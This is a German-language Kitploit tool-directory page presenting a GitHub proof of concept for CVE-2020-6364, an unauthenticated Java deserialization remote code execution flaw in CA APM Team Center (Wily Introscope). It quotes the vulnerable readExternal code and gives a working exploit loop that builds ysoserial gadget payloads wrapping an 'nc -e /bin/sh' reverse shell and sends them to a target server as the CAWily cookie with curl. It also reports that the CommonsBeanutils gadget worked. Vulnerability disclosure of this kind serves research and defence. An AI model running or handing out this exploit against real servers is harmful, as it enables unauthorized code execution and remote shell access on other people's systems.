Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/gquere/cve-2020-6364
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubgquere/cve-2020-6364

CVE-2020-6364

Remotecodeausführung in CA APM Team Center (Wily Introscope)

Repository anzeigen
22vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-6364

Remote-Code-Ausführung in CA APM Team Center (Wily Introscope).

Original-Meldung

Eine Deserialisierungsschwachstelle in CA APM Team Center führt zu nicht authentifizierter Remote-Code-Ausführung auf dem Server.

Bei der Authentifizierung am Server wird ein Cookie zurückgegeben, das mit der berüchtigten Zeichenfolge rO0 beginnt, die auf ein base64-kodiertes serialisiertes Objekt hinweist:

Obwohl ich das Problem statisch nicht vollständig nachvollzogen habe, ist dies wahrscheinlich der anfällige Code:

root@kitploit:~
public class HttpRequestHeaderInfo implements Externalizable {
  public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {

    in.readInt();
    int numMapEntries = in.readInt();
    this.fRequestParameterMap = (numMapEntries == 0) ? Collections.EMPTY_MAP : new HashMap(numMapEntries);

    for (int i = 0; i < numMapEntries; i++) {
      this.fRequestParameterMap.put(in.readUTF(), in.readObject());
    }

    int numCookies = in.readInt();
    this.fCookies = (numCookies == 0) ? kNoCookies : new Cookie[numCookies];

    for (int j = 0; j < this.fCookies.length; j++) {
      this.fCookies[j] = new Cookie((String)in.readObject(), (String)in.readObject());
    }
  }
}

Beachten Sie, dass die Parameterzuordnung und der Cookie mithilfe von readObject() aus der Benutzereingabe deserialisiert werden.

Dies wird trivial ausgenutzt, indem ein geeignetes Gadget in einer for-Schleife identifiziert wird:

root@kitploit:~
for gadget in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1
do
    java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar $gadget "nc -e /bin/sh ..." | base64 -w0 > cookie
    payload=$(cat cookie)
    curl -s -k 'https://remoteserver/' -X POST -H "Cookie: CAWily=$payload"
done

Das einzige Payload, das bei mir zur Remote-Code-Ausführung führte, war CommonsBeanutils. Das eingebettete JAR ist org.apache.commons_beanutils_1.9.2.1.jar und enthält tatsächlich ein anfälliges Gadget gemäß dem Maven-Repository.

Danke

Obligatorischer Dank an eine besondere Person, die mich veranlasst hat, den Header noch einmal zu überprüfen.

Tool herunterladen